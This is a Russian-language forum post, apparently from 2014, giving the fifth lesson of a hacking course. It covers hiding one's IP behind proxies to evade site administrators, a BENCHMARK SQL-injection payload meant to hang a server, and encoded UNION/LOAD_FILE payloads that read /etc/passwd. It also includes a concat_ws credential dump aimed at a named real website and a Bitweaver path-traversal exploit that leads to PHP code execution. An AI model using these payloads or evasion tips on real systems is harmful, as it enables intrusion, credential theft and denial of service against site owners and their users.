View Single Post
  #1 Old 10-06-2014, 07:57 PM
maximg31
 
maximg31's Avatar
 
Join Date: Oct 2014
Posts: 10
Contact: maximg31@jabber
maximg31 1
Send a message via ICQ to maximg31
Post Урок Хакинга [5]

Привет. Вот и пришло время 5 урока «Основ хакерства». В этой части я хотел бы уделить внимание нашей безопасности . Наверное это нужно было разобрать немного раньше. Ведь данный аспект является очень важным. Так же в этом уроке я начну повествовать об анализе php движков. Еще мы разберем такую тему , как DoS/DDoS. Напоследок дебютирует новый топик «Прогулка по багтракам» Cоntent: Безопасность при взломе. Установка движка и азы анализа DoS и DDOS общие принципы. Sql injection Прогулка по багтракам. Безопасность при взломе. Это действительно важно. Если администратор сайта обнаружит твой реальный ip адрес, он без проблем сможет сообщить о проникновении твоему провайдеру . А дальше как повезет. Итак, сначала стоит разобрать, как сохраняются твои данные. Логи ведет веб сервер. Он записывает фактически все телодвижение пользователей . Вот например если в логах будет замечена такая строка : 65.234.112.11- -[13/ Jan/2019:14:23:57 +0300]"GET/ scripts/photo? id=1’"404- "-""-" Сразу станет ясно что пользователь с адресом 65.234.112.11 пытался проверить параметр id на инъекцию. Вообще нам важны логи ошибок (ErrorLog) и основные логи. В ErrorLog хранятся данные ошибочных запросов. В httpd.conf(файл конфигурации веб сервера) путь к ним можно найти по директиве ErrorLog. В основном логе находятся все запросы к серверу . Его можно найти по директиве CustomLog. Ну что ж более или менее понятно . По сути наша задача это подменить айпи адрес . Ведь именно он нас палит. Как факт изменить свой ip нельзя. Но! Его можно скрыть или ПОДменить. Каким образом? С помощью прокси серверa. Прокси-сервер (отангл.proxy — «представитель, уполномоченный») —службав компьютерных сетях, позволяющая клиентам выполнять косвенные запросык другимсетевым службам Проще говоря, мы сначала будем подключаться к прокси серверу и уже от туда делать запросы к жертве . Естественно в логах целевого сайта будет светится айпи прокси сервера . Так то. Теперь по порядку: Бывают паблик ( публичные) прокси. Бывают приватные прокси ( только для избранных). Как думаю ясно первые можно легко найти в сети. Со вторыми сложнее. Если хочешь приобрести такие нужно платить . Собственно в чем разница то ? Паблик прокси медленные, т.к. их юзает куча народу. Приватные более быстрые. Вот собственно и все. Вот несколько источников бесплатных прокси северов : www.checker.freeproxy.ru/ checker/ last_checked_proxies.php www.madnet.name/ tools/proxy/ www.proxylife.org/ proxy/ Ах да… забыли о главном – как же их использовать ? Натягивать их нужно на свой браузер . Разберем на примере троих: InternetExplorer Opera FireFox InernetExplorer: Нажмите кнопку Сервис и выберите пункт Свойства обозревателя . На вкладке Подключения щелкните Настройка LAN. Установите флажок Использовать прокси- сервер для локальной сети. В поле Адрес введите адрес прокси -сервера. В поле Порт введите номер порта . Opera: Выбираем: инструменты настройки Вкладка дополнительно Пункт сеть Кнопка прокси серверы Указываем на галочку HTTP и вводим прокси и порт. FireFox Инструменты – настройки Вкладка дополнительно Настроить Ручная нстройка сервера прокси Ну, на этом пока все. В будущем расскажу про анонимайзеры и цепочки прокси . Установка и анализ движка . Незаменимым атрибутом веб хакера является умения анализировать и находить ошибки в php скриптах. Учиться этому мы начнем уже с этого урока . Итак, сначала нужно подготовить платформу для тестирования . Кажется, в прошлой статье я упоминал, что мы будем работать с Денвером. Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и т.д.) и программная оболочка. Все дело в том, что для его установки не нужно производить практически не каких телодвижений ( в отличии от отдельной установки php apche mysql), но зато теряется гибкость. Итак, вам нужно скачать denwer и установить его. Платформу можно считать готовой На примере wordpress 2.3 я покажу, как установить движок. Итак, после скачивания нужно создать в папке home ( Денвера) директорию bugsite11.us Далее распаковать в эту папку скачанный пакет . Теперь необходимо создать базу данных . Для этого нужно зайти в phpmyadmin. Если Денвер запущен, пройдите по этому пути http:// localhost/ Tools/ phpmyadmin/ index.php Далее в поле «Создать новую базу данных» введите wordpress и нажмите создать. Все. Теперь переходи по адресу bugsite11.us. Если все было сделано правильно вы увидите главную страницу инсталлятора wordpress. Пройдите несколько шагов. Когда потребуется ввести данные в поле база данных нужно ввести wordpress в поле пользователь – root, поле пароля оставляем пустым . Сервер – localhost. Все. Теперь можете перейти по адресу bugsite11.us и вы увидите готовенький для тестинга сайт на локалхосте . Как видите установить двиг не сложно . Теперь по делу. Сейчас я поведаю чисто поверхностную информацию об анализе скриптов . Во-первых - прежде чем изучать код скрипта нужно проверить его в работе . Собственно для этого мы и ставили denwer. Во вторых – чуть ли не ключевым аспектом при поиске уязвимостей является понимание структуры CMS (или что там мы ставили). Разбираться лучше всего от начальной страницы (почти всегда index.php). В ней часто выполняются подключение , каких то модулей. И так по порядку нужно изучать работу скриптов. Кстати, в изучении вам может помочь документация к скрипту. Если таковая отсутствует можно поискать в Интернете какую либо информацию . В-третьих – очень часто придется производить поиск по исходному коду. Так что желательно обзавестись нормальным текстовым редактором . Я предлагаю Notepad++. Ну и в четвертых нужно обязательно заглядывать на сайт разработчика . Там можно найти доки, информацию об уязвимостях в предыдущих версиях и вообще много полезной информации . На этом я закончу. Хочу что бы вы потренировались в установке движков на localhost. В следующем уроке мы потихоньку начнем разбирать основные ошибки php программистов. DoS и DDOS общие принципы. Бывает, что нужный нам сайт недоступен. Браузер говорит нам, что сервер не отвечает. Это может происходить вследствие DDOS атаки на сервер. Немного понятий: DoS - Denial of Service – отказ от обслуживания. На самом деле это не атака, а результат атаки. По сути DoS происходит из- за ошибок в программном коде либо недостаточной проверки входных данных . Например, на сервере висит FTP демон. Входные данные от пользователя (например логин) не проверяются на правильность. Т.е. пользователь может ввести любое кол во символов . Довольно типичная ошибка . Вот например еще уязвимость в SolarWinds TFTP Server 9.2.0.111 www.securitylab.ru/ vulnerability/384458.php Ошибка может возникнуть при обработке при обработке TFTP пакетов. Кстати есть довольно известный способ как можно «подвесить» сайт с помощью sql injection: http:// www.example.com/ index.php? id=1+BENCHMARK (100000, BENCHMARK (10000,NOW())) Функция BENCHMARK повторяет действия указанное во втором аргументе количество раз указанное в аргументе параметре . Функция NOW() показывает текущее время. Т.е. можно прикинуть, как мы загрузим сервер. Вместо now можно подставить функцию вроде md5(). DDoS – очень часто путают с DoS. Тут расклад немного другой. Смысл этой атаки именно в «затапливании» сервера огромным количеством запросом , до тех пор, пока сервер не исчерпает свои ресурсы закончиться память Как ясно с одного компьютера такое не сделаешь . Именно поэтому хакеры составляют ботнет с которого они могут топить сервер запросами . Ботнет это энное количество компютеров с установленной троянской программой , через которую взломщик может контролировать каждый компьютер . Ну вот. Если тебя заинтересовала эта тема, могу подкинуть несколько статеек : www.internet- technologies.ru/articles/ article_436.html www.cyberguru.ru/networks/ network-security/botnet- page7.html www.fssr.ru/hz.php? name=News&file=article&sid=9384 SQL injection Обход magis_quert concat_ws и удобный вывод. На прошлом уроке мы говорили о такой вещи как магические кавычки . Я в общем рассказал что это. Сейчас мы разберем как можно обойти эти самые кавычки . Во-первых, можно использовать функцию char. Эта функция преобразовывает ASCII (аск) код в символы. ASCII код это код символа. У каждого символа есть свой код . Например, у символа одинарной кавычки код 27. Таблицу кодов можно найти здесь Итак, функция char преобразовывает эти коды в символы , т.е. например: Char(27,27) Вернет нам две одинарные кавычки . Кстати зная коды символов можно сделать так : Зажать клавишу alt и набрать 0 и код символа. Например, alt+077 выведет нам букву M. Так же можно выводить некоторые специфические знаки вроде знака копирайта – alt+0169) Вернемся к нашим скулям: www.site.us/ index.php?id= +union+select +1,LOAD_FILE(‘/ etc/ passwd’),4,5,6,7,8,9,10/ * Если ты забыл, то мы пытаемся загрузить файл / etc/passwd (файл со списком аккаунтов) Часто кавычки режутся. А что если сделать так: www.site.us/ index.php?id= +union+select +1,LOAD_FILE (char (27,47,101,116,99,47,112,97,115,119,100)), 4,5,6,7,8,9,10/ * Кавычки закодированы, значит все ок. Еще можно обойти фильтрация путем замены исходной строки аналогичной ей , только в хекс(hex) варианте (в шестнадцатеричном варианте ). Причем перед строкой нужно подставить знак 0x. Смотрим на примере: Берем исходную строку '/ etc/passwd'. Опять же идем на сайт www.x3k.ru выбираем раздел SQL Hex и вписываем строку На выходе 0x5c272f6574632f7061737377645c27 В нашем примере это будет так : www.site.us/ index.php?id= +union+select +1,LOAD_FILE (0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/ * concat_ws. Для лучшего понимания возьмем реальный пример: http:// www.photoworld.kz/ index.php? mod=photos&cathid=-25+union +select +1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36+from +auth--+ Видим, что только одно читабельное поле – 2. Скажу наперед, что поле логина – login, а пароля – pwd. Итак, наша задача скомбинировать эти два поля и вывести в удобном виде . Делается это с помощью функции concat_ws: concat_ws (0x3a,login,pwd) Первый аргумент это разделитель между полями . 0x3a записан в sql hex, в ASCII это будет : (знак двоеточия), т.е. вывод произойдет такой: Loginwd Вот еще пример: concat_ws (0x2d,login,pwd) 0x2d означает тире (-) Login-pwd А вот как это будет выглядеть в нашем случае: http:// www.photoworld.kz/ index.php? mod=photos&cathid=-25+union +select +1,concat_ws (0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21, 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from +auth--+ По сути, польза не большая, но так удобней и изящней. Мы ж эстеты =) Так с этим ясно. Что дальше? В следующем уроке я расскажу о записи файлов с помощью инжектов . И наверное, на этом покончу повествования об основах . Т.к. далее продолжать бессмысленно. В Интернете очень много статей об этом , а азы вы уже знаете. В уроках я буду рассказывать о каких то нестандартных ситуациях , более подробно о языке mysql и тому подобные вещи. А сейчас продолжаем... Прогулка по багтракам. Еще немного об этом топике : Суть в том, что я буду выкладывать некоторые интересные уязвимости с багтраков . Так сказать примеры нахождения уязвимостей. Что это даст? Самое главное это понимание сути проблемы . Начнемсс... Уязвимость CMS Bitweaver 2.6 www.securitylab.ru/ vulnerability/380079.php Итак , уязвимость найдена в CMS Bitweaver 2.6. Бага позволяет нам создавать произвольные файлы в системе . посмотрев сплоит, понимаем что: Уязвимость присутствует в сценарии boards_rss.php - строка 102: ... echo$rss- >saveFeed ($rss_version_name, $cacheFile); … В этом куске функция saveFeed вызывается небезопасно. Аргументы не проверяются и могут содержать символы обхода каталога ../(см урок 3) Данные получаются так: Переменная= $_REQUEST ['version'] Теперь посмотрим собственно на саму функцию saveFeed в /RSS/ feedcreator.class.php ... function saveFeed ($filename="", $displayContents=true) { if ($filename=="") { $filename= $this- >_generateFilename (); } if(!is_dir (dirname ($filename))) { mkdir(dirname ($filename));// создаемкаталог } $feedFile= fopen ($filename,"w +");// открываемфайл длязаписи(w+) if($feedFile) { fputs ($feedFile, $this- >createFeed()); пишемвфайл информацию fclose ($feedFile);// закрываемфайл if ($displayContents) { $this- >_redirect ($filename); } }else{ echo" Errorcreating feedfile, pleasecheck write permissions. "; } } } ... Тут попросту происходит сохранение файла . Постараюсь объяснить функции , приведенные в этом коде: dirname – возвращает каталог из указанного пути. Например, есть путь /home/ hockfuke/text.c Функция вернет /home/ hockfuke/ is_dir – проверяет является ли файл каталогом. Mkdir – создает каталог Fopen – открывает файл Fputs – пишет в файл. Теперь собственно сам пример использования: http:// sitename/path/ boards/ boards_rss.php? version=/../../../../ bookoo.php%00 С NULL байтом вы уже знакомы, он обрубает остальную часть запроса. Параметр version мы как раз получали с помощью $_REQUEST. Собственно ясно , что будет создать файл heck.php. Функция сохранения файлa была приведена выше . Как помним наш подопытный это rss скрипт. Созданный файл будет таким : [?xml version="1.0" encoding="UTF-8"?] [!-- generator="FeedCreator 1.7.2"--] [?xml- stylesheet href="http:// www.w3.org/2000/08/ w3c-synd/ style.css" type="text/ css"?] [rss version="0.91"] [channel] [title>Feed[/ title] [description][/ description] [link]http://192.168.0.1[/ link] [lastBuildDate]Sat, 09Sep2009 20:01:44 +0100[/ lastBuildDate] [generator]FeedCreator 1.7.2[/ generator] [language]en-us [/language] [/channel] [/rss] [/code] Собственнонам тонужно выполнитькод. Вотчто заметили багоискатели: Длявыполнения кодаможно создатьучетную записьнасайте ивDisplay Name(нуимя) вписатькод: [?phpsystem ("ls–al");?] system выполняет командув системе. Теперьделаем так: http://host/ path_to_bitweaver/boards/ boards_rss.php? version=/../../../../ bookoo_ii.php %00&U= юзернэйм&P=пароль На сервере появится тот же файл но уже вместо [title]Feed[/ TITLE] будет [title] Feed ([?php system("ls –al");?>[/ TITLE]. Подведем маленький итог. Ошибка заключался опять же в отсутствии фильтрации . Из-за чего можно у нас появилась возможность создать собственный файл и выполнить в нем код . Т.к. displayname тоже не проверялось. Конец. Ну вот подошел к концу 5 урок. Сегодня я приводил много исходных кодов . Хочу, что бы вы поняли, что это основа. И уметь программировать просто необходимо . Что дальше? Думаю, на следующем уроке мы продолжим знакомиться с анализом движков . Так же я расскажу еще кое- что о твоей безопасности. На этом все. Все уголковые скобки заменены на [ and ]
maximg31 is offline   Reply With Quote